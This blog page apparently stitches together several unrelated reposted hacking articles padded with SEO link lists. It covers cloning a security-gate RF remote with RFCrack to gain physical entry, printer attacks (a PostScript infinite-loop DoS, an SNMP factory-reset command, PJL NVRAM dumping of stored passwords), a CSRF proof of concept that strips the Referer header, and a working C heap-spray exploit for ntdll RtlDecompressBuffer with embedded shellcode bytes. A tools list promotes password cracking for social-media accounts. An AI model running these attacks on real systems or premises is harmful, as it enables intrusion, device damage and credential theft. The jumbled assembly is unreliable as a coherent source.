martes, 14 de abril de 2020

Hacking Everything With RF And Software Defined Radio - Part 3


Reversing Device Signals with RFCrack for Red Teaming


This blog was researched and automated by:
@Ficti0n 
@GarrGhar 
Mostly because someone didn't want to pay for a new clicker that was lost LOL

Websites:
Console Cowboys: http://consolecowboys.com 
CC Labs: http://cclabs.io

CC Labs Github for RFCrack Code:
https://github.com/cclabsInc/RFCrack


Contrived Scenario: 

Bob was tasked to break into XYZ  corporation, so he pulled up the facility on google maps to see what the layout was. He was looking for any possible entry paths into the company headquarters. Online maps showed that the whole facility was surrounded by a security access gate. Not much else could be determined remotely so bob decided to take a drive to the facility and get a closer look. 

Bob parked down the street in view of the entry gate. Upon arrival he noted the gate was un-manned and cars were rolling up to the gate typing in an access code or simply driving up to the gate as it opening automatically.  Interestingly there was some kind of wireless technology in use. 

How do we go from watching a car go through a gate, to having a physical device that opens the gate?  

We will take a look at reversing a signal from an actual gate to program a remote with the proper RF signal.  Learning how to perform these steps manually to get a better understanding of how RF remotes work in conjunction with automating processes with RFCrack. 

Items used in this blog: 

Garage Remote Clicker: https://goo.gl/7fDQ2N
YardStick One: https://goo.gl/wd88sr
RTL SDR: https://goo.gl/B5uUAR


 







Walkthrough Video: 




Remotely sniffing signals for later analysis: 

In the the previous blogs, we sniffed signals and replayed them to perform actions. In this blog we are going to take a look at a signal and reverse it to create a physical device that will act as a replacement for the original device. Depending on the scenario this may be a better approach if you plan to enter the facility off hours when there is no signal to capture or you don't want to look suspicious. 

Recon:

Lets first use the scanning functionality in RFCrack to find known frequencies. We need to understand the frequencies that gates usually use. This way we can set our scanner to a limited number of frequencies to rotate through. The smaller rage of frequencies used will provide a better chance of capturing a signal when a car opens the target gate. This would be beneficial if the scanning device is left unattended within a dropbox created with something like a Kali on a Raspberry Pi. One could access it from a good distance away by setting up a wifi hotspot or cellular connection.

Based on research remotes tend to use 315Mhz, 390Mhz, 433Mhz and a few other frequencies. So in our case we will start up RFCrack on those likely used frequencies and just let it run. We can also look up the FCID of our clicker to see what Frequencies manufactures are using. Although not standardized, similar technologies tend to use similar configurations. Below is from the data sheet located at https://fccid.io/HBW7922/Test-Report/test-report-1755584 which indicates that if this gate is compatible with a universal remote it should be using the 300,310, 315, 372, 390 Frequencies. Most notably the 310, 315 and 390 as the others are only on a couple configurations. 




RFCrack Scanning: 

Since the most used ranges are 310, 315, 390 within our universal clicker, lets set RFCrack scanner to rotate through those and scan for signals.  If a number of cars go through the gate and there are no captures we can adjust the scanner later over our wifi connection from a distance. 

Destroy:RFCrack ficti0n$ python RFCrack.py -k -f 310000000 315000000 390000000
Currently Scanning: 310000000 To cancel hit enter and wait a few seconds

Currently Scanning: 315000000 To cancel hit enter and wait a few seconds

Currently Scanning: 390000000 To cancel hit enter and wait a few seconds

e0000000000104007ffe0000003000001f0fffe0fffc01ff803ff007fe0fffc1fff83fff07ffe0007c00000000000000000000000000000000000000000000e0007f037fe007fc00ff801ff07ffe0fffe1fffc3fff0001f00000000000000000000000000000000000000000000003809f641fff801ff003fe00ffc1fff83fff07ffe0fffc000f80000000000000000000000000000000000000000000003c0bff01bdf003fe007fc00ff83fff07ffe0fffc1fff8001f0000000000000000000000000000000000000000000000380000000000000000002007ac115001fff07ffe0fffc000f8000000000000000000000000000000000000000
Currently Scanning: 433000000 To cancel hit enter and wait a few seconds


Example of logging output: 

From the above output you will see that a frequency was found on 390. However, if you had left this running for a few hours you could easily see all of the output in the log file located in your RFCrack/scanning_logs directory.  For example the following captures were found in the log file in an easily parseable format: 

Destroy:RFCrack ficti0n$ cd scanning_logs/
Destroy:scanning_logs ficti0n$ ls
Dec25_14:58:45.log Dec25_21:17:14.log Jan03_20:12:56.log
Destroy:scanning_logs ficti0n$ cat Dec25_21\:17\:14.log
A signal was found on :390000000
c0000000000000000000000000008000000000000ef801fe003fe0fffc1fff83fff07ffe0007c0000000000000000000000000000000000000000000001c0000000000000000050003fe0fbfc1fffc3fff83fff0003e00000000000000000000000000000000000000000000007c1fff83fff003fe007fc00ff83fff07ffe0fffc1fff8001f00000000000000000000000000000000000000000000003e0fffc1fff801ff003fe007fc1fff83fff07ffe0fffc000f80000000000000000000000000000000000000000000001f07ffe0dffc00ff803ff007fe0fffc1fff83fff07ffe0007c000000000000000000000000000000000000000000
A signal was found on :390000000
e0000000000104007ffe0000003000001f0fffe0fffc01ff803ff007fe0fffc1fff83fff07ffe0007c00000000000000000000000000000000000000000000e0007f037fe007fc00ff801ff07ffe0fffe1fffc3fff0001f00000000000000000000000000000000000000000000003809f641fff801ff003fe00ffc1fff83fff07ffe0fffc000f80000000000000000000000000000000000000000000003c0bff01bdf003fe007fc00ff83fff07ffe0fffc1fff8001f0000000000000000000000000000000000000000000000380000000000000000002007ac115001fff07ffe0fffc000f8000000000000000000000000000000000000000



Analyzing the signal to determine toggle switches: 

Ok sweet, now we have a valid signal which will open the gate. Of course we could just replay this and open the gate, but we are going to create a physical device we can pass along to whoever needs entry regardless if they understand RF. No need to fumble around with a computer and look suspicious.  Also replaying a signal with RFCrack is just to easy, nothing new to learn taking the easy route. 

The first thing we are going to do is graph the capture and take a look at the wave pattern it creates. This can give us a lot of clues that might prove beneficial in figuring out the toggle switch pattern found in remotes. There are a few ways we can do this. If you don't have a yardstick at home you can capture the initial signal with your cheap RTL-SDR dongle as we did in the first RF blog. We could then open it in audacity. This signal is shown below. 



Let RFCrack Plot the Signal For you: 

The other option is let RFCrack help you out by taking a signal from the log output above and let RFCrack plot it for you.  This saves time and allows you to use only one piece of hardware for all of the work.  This can easily be done with the following command: 

Destroy:RFCrack ficti0n$ python RFCrack.py -n -g -u 1f0fffe0fffc01ff803ff007fe0fffc1fff83fff07ffe0007c
-n = No yardstick attached
-g = graph a single signal
-u = Use this piece of data




From the graph output we see 2 distinct crest lengths and some junk at either end we can throw away. These 2 unique crests correspond to our toggle switch positions of up/down giving us the following 2 possible scenarios using a 9 toggle switch remote based on the 9 crests above: 

Possible toggle switch scenarios:

  1. down down up up up down down down down
  2. up up down down down up up up up 

Configuring a remote: 

Proper toggle switch configuration allows us to program a universal remote that sends a signal to the gate. However even with the proper toggle switch configuration the remote has many different signals it sends based on the manufacturer or type of signal.  In order to figure out which configuration the gate is using without physically watching the gate open, we will rely on local signal analysis/comparison.  

Programming a remote is done by clicking the device with the proper toggle switch configuration until the gate opens and the correct manufacturer is configured. Since we don't have access to the gate after capturing the initial signal we will instead compare each signal from he remote to the original captured signal. 


Comparing Signals: 

This can be done a few ways, one way is to use an RTLSDR and capture all of the presses followed by visually comparing the output in audacity. Instead I prefer to use one tool and automate this process with RFCrack so that on each click of the device we can compare a signal with the original capture. Since there are multiple signals sent with each click it will analyze all of them and provide a percent likelihood of match of all the signals in that click followed by a comparing the highest % match graph for visual confirmation. If you are seeing a 80-90% match you should have the correct signal match.  

Note:  Not every click will show output as some clicks will be on different frequencies, these don't matter since our recon confirmed the gate is communicating on 390Mhz. 

In order to analyze the signals in real time you will need to open up your clicker and set the proper toggle switch settings followed by setting up a sniffer and live analysis with RFCrack: 

Open up 2 terminals and use the following commands: 

#Setup a sniffer on 390mhz
  Setup sniffer:      python RFCrack.py -k -c -f 390000000.     
#Monitor the log file, and provide the gates original signal
  Setup Analysis:     python RFCrack.py -c -u 1f0fffe0fffc01ff803ff007fe0fffc1fff83fff07ffe0007c -n.  

Cmd switches used
-k = known frequency
-c = compare mode
-f = frequency
-n = no yardstick needed for analysis

Make sure your remote is configured for one of the possible toggle configurations determined above. In the below example I am using the first configuration, any extra toggles left in the down position: (down down up up up down down down down)




Analyze Your Clicks: 

Now with the two terminals open and running click the reset switch to the bottom left and hold till it flashes. Then keep clicking the left button and viewing the output in the sniffing analysis terminal which will provide the comparisons as graphs are loaded to validate the output.  If you click the device and no output is seen, all that means is that the device is communicating on a frequency which we are not listening on.  We don't care about those signals since they don't pertain to our target. 

At around the 11th click you will see high likelihood of a match and a graph which is near identical. A few click outputs are shown below with the graph from the last output with a 97% match.  It will always graph the highest percentage within a click.  Sometimes there will be blank graphs when the data is wacky and doesn't work so well. This is fine since we don't care about wacky data. 

You will notice the previous clicks did not show even close to a match, so its pretty easy to determine which is the right manufacture and setup for your target gate. Now just click the right hand button on the remote and it should be configured with the gates setup even though you are in another location setting up for your test. 

For Visual of the last signal comparison go to ./imageOutput/LiveComparison.png
----------Start Signals In Press--------------
Percent Chance of Match for press is: 0.05
Percent Chance of Match for press is: 0.14
Percent Chance of Match for press is: 0.14
Percent Chance of Match for press is: 0.12
----------End Signals In Press------------
For Visual of the last signal comparison go to ./imageOutput/LiveComparison.png
----------Start Signals In Press--------------
Percent Chance of Match for press is: 0.14
Percent Chance of Match for press is: 0.20
Percent Chance of Match for press is: 0.19
Percent Chance of Match for press is: 0.25
----------End Signals In Press------------
For Visual of the last signal comparison go to ./imageOutput/LiveComparison.png
----------Start Signals In Press--------------
Percent Chance of Match for press is: 0.93
Percent Chance of Match for press is: 0.93
Percent Chance of Match for press is: 0.97
Percent Chance of Match for press is: 0.90
Percent Chance of Match for press is: 0.88
Percent Chance of Match for press is: 0.44
----------End Signals In Press------------
For Visual of the last signal comparison go to ./imageOutput/LiveComparison.png


Graph Comparison Output for 97% Match: 







Conclusion: 


You have now walked through successfully reversing a toggle switch remote for a security gate. You took a raw signal and created a working device using only a Yardstick and RFCrack.  This was just a quick tutorial on leveraging the skillsets you gained in previous blogs in order to learn how to analyze  RF signals within embedded devices. There are many scenarios these same techniques could assist in.  We also covered a few new features in RF crack regarding logging, graphing and comparing signals.  These are just a few of the features which have been added since the initial release. For more info and other features check the wiki. 

Related news


  1. Pentest Tools Tcp Port Scanner
  2. How To Hack
  3. Pentest Tools Online
  4. Hack App
  5. Hacking Tools For Windows Free Download
  6. Hacking Tools Windows 10
  7. Pentest Tools Windows
  8. Bluetooth Hacking Tools Kali
  9. Pentest Tools Linux
  10. Hack Tools
  11. Hack Apps
  12. Tools Used For Hacking
  13. Hack Tools Github
  14. Hacking Tools Github
  15. Hack Tools
  16. Pentest Tools Windows
  17. Hacking Tools And Software
  18. Hak5 Tools
  19. Hackers Toolbox
  20. Hacking Tools For Mac
  21. Black Hat Hacker Tools
  22. Best Hacking Tools 2020
  23. Hackrf Tools
  24. Pentest Tools

ISPY: Exploiting EternalBlue And BlueKeep Vulnerabilities With Metasploit Easier


About ISPY:
   ISPY is a Eternalblue (MS17-010) and BlueKeep (CVE-2019-0708) scanner and exploiter with Metasploit Framework.

   ISPY was tested on: Kali Linux and Parrot Security OS 4.7.

ISPY's Installation:
   For Arch Linux users, you must install Metasploit Framework and curl first:
pacman -S metasploit curl


   For other Linux distros not Kali Linux or Parrot Security OS. Open your Terminal and enter these commands to install Metasploit Framework:
 

   Then, enter these commands to install ISPY:

How to use ISPY?
 
ISPY's screenshots:

About the author:

Disclaimer: Usage of ispy for attacking targets without prior mutual consent is illegal.
ispy is for security testing purposes only


More information

Printer Security


Printers belong arguably to the most common devices we use. They are available in every household, office, company, governmental, medical, or education institution.

From a security point of view, these machines are quite interesting since they are located in internal networks and have direct access to sensitive information like confidential reports, contracts or patient recipes.


TL;DR: In this blog post we give an overview of attack scenarios based on network printers, and show the possibilities of an attacker who has access to a vulnerable printer. We present our evaluation of 20 different printer models and show that each of these is vulnerable to multiple attacks. We release an open-source tool that supported our analysis: PRinter Exploitation Toolkit (PRET) https://github.com/RUB-NDS/PRET
Full results are available in the master thesis of Jens Müller and our paper.
Furthermore, we have set up a wiki (http://hacking-printers.net/) to share knowledge on printer (in)security.
The highlights of the entire survey will be presented by Jens Müller for the first time at RuhrSec in Bochum.

Background


There are many cool protocols and languages you can use to control your printer or your print jobs. We assume you have never heard of at least half of them. An overview is depicted in the following figure and described below.

 

Device control

This set of languages is used to control the printer device. With a device control language it is possible to retrieve the printer name or status. One of the most common languages is the Simple Network Management Protocol (SNMP). SNMP is a UDP based protocol designed to manage various network components beyond printers as well, e.g. routers and servers.

Printing channel

The most common network printing protocols supported by printer devices are the Internet Printing Protocol (IPP), Line Printer Daemon (LPD), Server Message Block (SMB), and raw port 9100 printing. Each protocol has specific features like print job queue management or accounting. In our work, we used these protocols to transport malicious documents to the printers.

 

Job control language

This is where it gets very interesting (for our attacks). A job control language manages printer settings like output trays or paper size. A de-facto standard for print job control is PJL. From a security perspective it is very useful that PJL is not limited to the current print job as some settings can be made permanent. It can further be used to change the printer's display or read/write files on the device.

 

Page description language

A page description language specifies the appearance of the actual document. One of the most common 'standard' page description languages is PostScript. While PostScript has lost popularity in desktop publishing and as a document exchange format (we use PDF now), it is still the preferred page description language for laser printers. PostScript is a stack-based, Turing-complete programming language consisting of about 400 instructions/operators. As a security aware researcher you probable know that some of them could be useful. Technically spoken, access to a PostScript interpreter can already be classified as code execution.

 

Attacks


Even though printers are an important attack target, security threats and scenarios for printers are discussed in very few research papers or technical reports. Our first step was therefore to perform a comprehensive analysis of all reported and published attacks in CVEs and security blogs. We then used this summary to systematize the known issues, to develop new attacks and to find a generic approach to apply them to different printers. We estimated that the best targets are the PostScript and PJL interpreters processing the actual print jobs since they can be exploited by a remote attacker with only the ability to 'print' documents, independent of the printing channel supported by the device.
We put the printer attacks into four categories.

 

Denial-of-service (DoS)

Executing a DoS attack is as simple as sending these two lines of PostScript code to the printer which lead to the execution of an infinite loop:

Denial-of-service%!
{} loop


Other attacks include:
  • Offline mode. The PJL standard defines the OPMSG command which 'prompts the printer to display a specified message and go offline'.
  • Physical damage. By continuously setting the long-term values for PJL variables, it is possible to physically destroy the printer's NVRAM which only survives a limited number of write cycles.
  • Showpage redefinition. The PostScript 'showpage' operator is used in every document to print the page. An attacker can simply redefine this operator to do nothing.

Protection Bypass

Resetting a printer device to factory defaults is the best method to bypass protection mechanisms. This task is trivial for an attacker with local access to the printer, since all tested devices have documented procedures to perform a cold reset by pressing certain key combinations.
However, a factory reset can be performed also by a remote attacker, for example using SNMP if the device complies with RFC1759 (Printer MIB):

Protection Bypass# snmpset -v1 -c public [printer] 1.3.6.1.2.1.43.5.1.1.3.1 i 6
Other languages like HP's PML, Kyocera's PRESCRIBE or even PostScript offer similar functionalities.

Furthermore, our work shows techniques to bypass print job accounting on popular print servers like CUPS or LPRng.

Print Job Manipulation

Some page description languages allow permanent modifications of themselves which leads to interesting attacks, like manipulating other users' print jobs. For example, it is possible to overlay arbitrary graphics on all further documents to be printed or even to replace text in them by redefining the 'showpage' and 'show' PostScript operators.

Information Disclosure

Printing over port 9100 provides a bidirectional channel, which can be used to leak sensitive information. For example, Brother based printers have a documented feature to read from or write to a certain NVRAM address using PJL:

Information Disclosure@PJL RNVRAM ADDRESS = X
Our prototype implementation simply increments this value to dump the whole NVRAM, which contains passwords for the printer itself but also for user-defined POP3/SMTP as well as for FTP and Active Directory profiles. This way an attacker can escalate her way into a network, using the printer device as a starting point.
Other attacks include:
  • File system access. Both, the standards for PostScript and PJL specify functionality to access the printers file system. As it seems, some manufacturers have not limited this feature to a certain directory, which leads to the disclosure of sensitive information like passwords.
  • Print job capture. If PostScript is used as a printer driver, printed documents can be captured. This is made possible by two interesting features of the PostScript language: First, permanently redefining operators allows an attacker to 'hook' into other users' print jobs and secondly, PostScript's capability to read its own code as data allows to easily store documents instead of executing them.

  • Credential disclosure. PJL passwords, if set, can easily retrieved through brute-force attacks due to their limited key space (1..65535). PostScript passwords, on the other hand, can be cracked extremely fast (up to 100,000 password verifications per second) thanks to the performant PostScript interpreters.

PRET

To automate the introduced attacks, we wrote a prototype software entitled PRET. The main idea of PRET is to facilitate the communication between the end-user and the printer. Thus, by entering a UNIX-like command PRET translates it to PostScript or PJL, sends it to the printer, and evaluates the result. For example, PRET converts a UNIX command ls to the following PJL request:


Information Disclosure@PJL FSDIRLIST NAME="0:\" ENTRY=1 COUNT=65535
It then collects the printer output and translates it to a user friendly output.

PRET implements the following list of commands for file system access on a printer device:

Evaluation

As a highly motivated security researcher with a deep understanding of systematic analysis, you would probably obtain a list of about 20 - 30 well-used printers from the most important manufacturers, and perform an extensive security analysis using these printers.
However, this was not our case. To overcome the financial obstacles, we collected printers from various university chairs and facilities. While our actual goal was to assemble a pool of printers containing at least one model for each of the top ten manufacturers, we practically took what we could get. The result is depicted in the following figure:
The assembled devices were not brand-new anymore and some of them were not even completely functional. Three printers had physically broken printing functionality so it was not possible to evaluate all the presented attacks. Nevertheless, these devices represent a good mix of printers used in a typical university or office environment.
Before performing the attacks, we of course installed the newest firmware on each of the devices. The results of our evaluation show that we could find multiple attacks against each printer. For example, simple DoS attacks with malicious PostScript files containing infinite loops are applicable to each printer. Only the HP LaserJet M2727nf had a watchdog mechanism and restarted itself after about ten minutes. Physical damage could be caused to about half of the tested device within 24 hours of NVRAM stressing. For a majority of devices, print jobs could be manipulated or captured.
PostScript, PJL and PML based attacks can even be exploited by a web attacker using advanced cross-site printing techniques. In the scope of our research, we discovered a novel approach – 'CORS spoofing' – to leak information like captured print jobs from a printer device given only a victim's browser as carrier.
A proof-of-concept implementation demonstrating that advanced cross-site printing attacks are practical and a real-world threat to companies and institutions is available at http://hacking-printers.net/xsp/.

Our next post will be on adapting PostScript based attacks to websites.

Authors of this Post

Jens Müller
Juraj Somorovsky
Vladislav Mladenov

Related news

Best Hacking Tools

      MOST USEFUL HACKING TOOL

1-Nmap-Network Mapper is popular and free open source hacker's tool.It is mainly used for discovery and security auditing.It is used for network inventory,inspect open ports manage service upgrade, as well as to inspect host or service uptime.Its advantages is that the admin user can monitor whether the network and associated nodes require patching.

2-Haschat-It is the self-proclaimed world's fastest password recovery tool. It is designed to break even the most complex password. It is now released as free software for Linux, OS X, and windows.


3-Metasploit-It is an extremely famous hacking framework or pentesting. It is the collection of hacking tools used to execute different tasks. It is a computer severity  framework which gives the necessary information about security vulnerabilities. It is widely used by cyber security experts and ethical hackers also.

4-Acutenix Web Vulnerability Scanner- It crawls your website and monitor your web application and detect dangerous SQL injections.This is used for protecting your business from hackers.


5-Aircrack-ng - This tool is categorized among WiFi hacking tool. It is recommended for beginners  who are new to Wireless Specefic Program. This tool is very effective when used rightly.


6-Wireshark-It is a network analyzer which permit the the tester to captyre packets transffering through the network and to monitor it. If you would like to become a penetration tester or cyber security expert it is necessary to learn how to use wireshark. It examine networks and teoubleshoot for obstacle and intrusion.


7-Putty-Is it very beneficial tool for a hacker but it is not a hacking tool. It serves as a client for Ssh and Telnet, which can help to connect computer remotely. It is also used to carry SSH tunneling to byepass firewalls. So, this is also one of the best hacking tools for hackers.


8-THC Hydra- It is one of the best password cracker tools and it consist of operative and highly experienced development team. It is the fast and stable Network Login Hacking Tools that will use dictonary or bruteforce attack to try various combination of passwords against in a login page.This Tool is also very useful for facebook hacking , instagram hacking and other social media platform as well as computer folder password hacking.


9-Nessus-It is a proprietary vulnerability scanner developed by tennable Network Security. Nessus is the world's most popular vulnerability scanner according to the surveys taking first place in 2000,2003,2006 in security tools survey.


10-Ettercap- It is a network sniffing tool. Network sniffing is a computer tool that monitors,analyse and defend malicious attacks with packet sniffing  enterprise can keep track of network flow. 


11-John the Ripper-It is a free famous password cracking pen testing tool that is used to execute dictionary attacks. It is initially developed for Unix OS. The Ripper has been awarded for having a good name.This tools can also be used to carry out different modifications to dictionary attacks.


12-Burp Suite- It is a network vulnerability scanner,with some advance features.It is important tool if you are working on cyber security.


13-Owasp Zed Attack Proxy Project-ZAP and is abbreviated as Zed  Attack Proxy is among popular OWASP project.It is use to find vulnerabilities in Web Applications.This hacking and penetesting tool is very easy to use  as well as very efficient.OWASP community is superb resource for those people that work with Cyber Security.


14-Cain & Abel-It is a password recovery tool for Microsoft Operating System. It allow easy recovery of various kinds of passwords by sniffing the networks using dictonary attacks.


15-Maltego- It is a platform that was designed to deliver an overall cyber threat pictures to the enterprise or local environment in which an organisation operates. It is used for open source intelligence and forensics developed by Paterva.It is an interactive data mining tool.

These are the Best Hacking Tools and Application Which are very useful for penetration testing to gain unauthorized access for steal crucial data, wi-fi hacking , Website hacking ,Vulnerability Scanning and finding loopholes,Computer hacking, Malware Scanning etc.

This post is only for educational purpose to know about top hacking tools which are very important for a hacker to gain unauthorized access. I am not responsible for any type of crime.





More articles

CSRF Referer Header Strip

Intro

Most of the web applications I see are kinda binary when it comes to CSRF protection; either they have one implemented using CSRF tokens (and more-or-less covering the different functions of the web application) or there is no protection at all. Usually, it is the latter case. However, from time to time I see application checking the Referer HTTP header.

A couple months ago I had to deal with an application that was checking the Referer as a CSRF prevention mechanism, but when this header was stripped from the request, the CSRF PoC worked. BTW it is common practice to accept empty Referer, mainly to avoid breaking functionality.

The OWASP Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet tells us that this defense approach is a baaad omen, but finding a universal and simple solution on the Internetz to strip the Referer header took somewhat more time than I expected, so I decided that the stuff that I found might be useful for others too.

Solutions for Referer header strip

Most of the techniques I have found were way too complicated for my taste. For example, when I start reading a blog post from Egor Homakov to find a solution to a problem, I know that I am going to:
  1. learn something very cool;
  2. have a serious headache from all the new info at the end.
This blog post from him is a bit lighter and covers some useful theoretical background, so make sure you read that first before you continue reading this post. He shows a few nice tricks to strip the Referer, but I was wondering; maybe there is an easier way?

Rich Lundeen (aka WebstersProdigy) made an excellent blog post on stripping the Referer header (again, make sure you read that one first before you continue). The HTTPS to HTTP trick is probably the most well-known one, general and easy enough, but it quickly fails the moment you have an application that only runs over HTTPS (this was my case).

The data method is not browser independent but the about:blank trick works well for some simple requests. Unfortunately, in my case the request I had to attack with CSRF was too complex and I wanted to use XMLHttpRequest. He mentions that in theory, there is anonymous flag for CORS, but he could not get it work. I also tried it, but... it did not work for me either.

Krzysztof Kotowicz also wrote a blog post on Referer strip, coming to similar conclusions as Rich Lundeen, mostly using the data method.

Finally, I bumped into Johannes Ullrich's ISC diary on Referer header and that led to me W3C's Referrer Policy. So just to make a dumb little PoC and show that relying on Referer is a not a good idea, you can simply use the "referrer" meta tag (yes, that is two "r"-s there).

The PoC would look something like this:
<html>
<meta name="referrer" content="never">
<body>
<form action="https://vistimsite.com/function" method="POST">
<input type="hidden" name="param1" value="1" />
<input type="hidden" name="param2" value="2" />
...
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>

Conclusion

As you can see, there is quite a lot of ways to strip the Referer HTTP header from the request, so it really should not be considered a good defense against CSRF. My preferred way to make is PoC is with the meta tag, but hey, if you got any better solution for this, use the comment field down there and let me know! :)

More articles


RtlDecompresBuffer Vulnerability

Introduction

The RtlDecompressBuffer is a WinAPI implemented on ntdll that is often used by browsers and applications and also by malware to decompress buffers compressed on LZ algorithms for example LZNT1.

The first parameter of this function is a number that represents the algorithm to use in the decompression, for example the 2 is the LZNT1. This algorithm switch is implemented as a callback table with the pointers to the algorithms, so the boundaries of this table must be controlled for avoiding situations where the execution flow is redirected to unexpected places, specially controlled heap maps.

The algorithms callback table







Notice the five nops at the end probably for adding new algorithms in the future.

The way to jump to this pointers depending on the algorithm number is:
call RtlDecompressBufferProcs[eax*4]

The bounrady checks

We control eax because is the algorithm number, but the value of eax is limited, let's see the boudary checks:


int  RtlDecompressBuffer(unsigned __int8 algorithm, int a2, int a3, int a4, int a5, int a6)
{
int result; // eax@4

if ( algorithm & algorithm != 1 )
{
if ( algorithm & 0xF0 )
result = -1073741217;
else
result = ((int (__stdcall *)(int, int, int, int, int))RtlDecompressBufferProcs[algorithm])(a2, a3, a4, a5, a6);
}
else
{
result = -1073741811;
}
return result;
}

Regarding that decompilation seems that we can only select algorithm number from 2 to 15, regarding that  the algorithm 9 is allowed and will jump to 0x90909090, but we can't control that addess.



let's check the disassembly on Win7 32bits:

  • the movzx limits the boundaries to 16bits
  • the test ax, ax avoids the algorithm 0
  • the cmp ax, 1 avoids the algorithm 1
  • the test al, 0F0h limits the boundary .. wait .. al?


Let's calc the max two bytes number that bypass the test al, F0h

unsigned int max(void) {
        __asm__("xorl %eax, %eax");
        __asm__("movb $0xff, %ah");
        __asm__("movb $0xf0, %al");
}

int main(void) {
        printf("max: %u\n", max());
}

The value is 65520, but the fact is that is simpler than that, what happens if we put the algorithm number 9? 



So if we control the algorithm number we can redirect the execution flow to 0x55ff8890 which can be mapped via spraying.

Proof of concept

This exploit code, tells to the RtlDecompresBuffer to redirect the execution flow to the address 0x55ff8890 where is a map with the shellcode. To reach this address the heap is sprayed creating one Mb chunks to reach this address.

The result on WinXP:

The result on Win7 32bits:


And the exploit code:

/*
ntdll!RtlDecompressBuffer() vtable exploit + heap spray
by @sha0coder

*/

#include
#include
#include

#define KB 1024
#define MB 1024*KB
#define BLK_SZ 4096
#define ALLOC 200
#define MAGIC_DECOMPRESSION_AGORITHM 9

// WinXP Calc shellcode from http://shell-storm.org/shellcode/files/shellcode-567.php
/*
unsigned char shellcode[] = "\xeB\x02\xBA\xC7\x93"
"\xBF\x77\xFF\xD2\xCC"
"\xE8\xF3\xFF\xFF\xFF"
"\x63\x61\x6C\x63";
*/

// https://packetstormsecurity.com/files/102847/All-Windows-Null-Free-CreateProcessA-Calc-Shellcode.html
char *shellcode =
"\x31\xdb\x64\x8b\x7b\x30\x8b\x7f"
"\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b"
"\x77\x20\x8b\x3f\x80\x7e\x0c\x33"
"\x75\xf2\x89\xc7\x03\x78\x3c\x8b"
"\x57\x78\x01\xc2\x8b\x7a\x20\x01"
"\xc7\x89\xdd\x8b\x34\xaf\x01\xc6"
"\x45\x81\x3e\x43\x72\x65\x61\x75"
"\xf2\x81\x7e\x08\x6f\x63\x65\x73"
"\x75\xe9\x8b\x7a\x24\x01\xc7\x66"
"\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7"
"\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9"
"\xb1\xff\x53\xe2\xfd\x68\x63\x61"
"\x6c\x63\x89\xe2\x52\x52\x53\x53"
"\x53\x53\x53\x53\x52\x53\xff\xd7";


PUCHAR landing_ptr = (PUCHAR)0x55ff8b90; // valid for Win7 and WinXP 32bits

void fail(const char *msg) {
printf("%s\n\n", msg);
exit(1);
}

PUCHAR spray(HANDLE heap) {
PUCHAR map = 0;

printf("Spraying ...\n");
printf("Aproximating to %p\n", landing_ptr);

while (map < landing_ptr-1*MB) {
map = HeapAlloc(heap, 0, 1*MB);
}

//map = HeapAlloc(heap, 0, 1*MB);

printf("Aproximated to [%x - %x]\n", map, map+1*MB);


printf("Landing adddr: %x\n", landing_ptr);
printf("Offset of landing adddr: %d\n", landing_ptr-map);

return map;
}

void landing_sigtrap(int num_of_traps) {
memset(landing_ptr, 0xcc, num_of_traps);
}

void copy_shellcode(void) {
memcpy(landing_ptr, shellcode, strlen(shellcode));

}

int main(int argc, char **argv) {
FARPROC RtlDecompressBuffer;
NTSTATUS ntStat;
HANDLE heap;
PUCHAR compressed, uncompressed;
ULONG compressed_sz, uncompressed_sz, estimated_uncompressed_sz;

RtlDecompressBuffer = GetProcAddress(LoadLibraryA("ntdll.dll"), "RtlDecompressBuffer");

heap = GetProcessHeap();

compressed_sz = estimated_uncompressed_sz = 1*KB;

compressed = HeapAlloc(heap, 0, compressed_sz);

uncompressed = HeapAlloc(heap, 0, estimated_uncompressed_sz);


spray(heap);
copy_shellcode();
//landing_sigtrap(1*KB);
printf("Landing ...\n");

ntStat = RtlDecompressBuffer(MAGIC_DECOMPRESSION_AGORITHM, uncompressed, estimated_uncompressed_sz, compressed, compressed_sz, &uncompressed_sz);

switch(ntStat) {
case STATUS_SUCCESS:
printf("decompression Ok!\n");
break;

case STATUS_INVALID_PARAMETER:
printf("bad compression parameter\n");
break;


case STATUS_UNSUPPORTED_COMPRESSION:
printf("unsuported compression\n");
break;

case STATUS_BAD_COMPRESSION_BUFFER:
printf("Need more uncompressed buffer\n");
break;

default:
printf("weird decompression state\n");
break;
}

printf("end.\n");
}

The attack vector
This API is called very often in the windows system, and also is called by browsers, but he attack vector is not common, because the apps that call this API trend to hard-code the algorithm number, so in a normal situation we don't control the algorithm number. But if there is a privileged application service or a driver that let to switch the algorithm number, via ioctl, config, etc. it can be used to elevate privileges on win7
Related articles

  1. Hacking Tools 2020
  2. Hacker Tools For Windows
  3. Pentest Tools
  4. Hacker Tools Apk Download
  5. Pentest Tools Windows
  6. Pentest Tools Framework
  7. Nsa Hacker Tools
  8. Hacking Apps
  9. Computer Hacker
  10. Physical Pentest Tools
  11. Hacking Tools Usb
  12. Hacking Tools And Software
  13. Hacking Tools
  14. Physical Pentest Tools
  15. Best Hacking Tools 2019
  16. Hacking Tools For Mac
  17. Hacking Tools And Software
  18. Hak5 Tools
  19. Hacker Techniques Tools And Incident Handling
  20. Hacks And Tools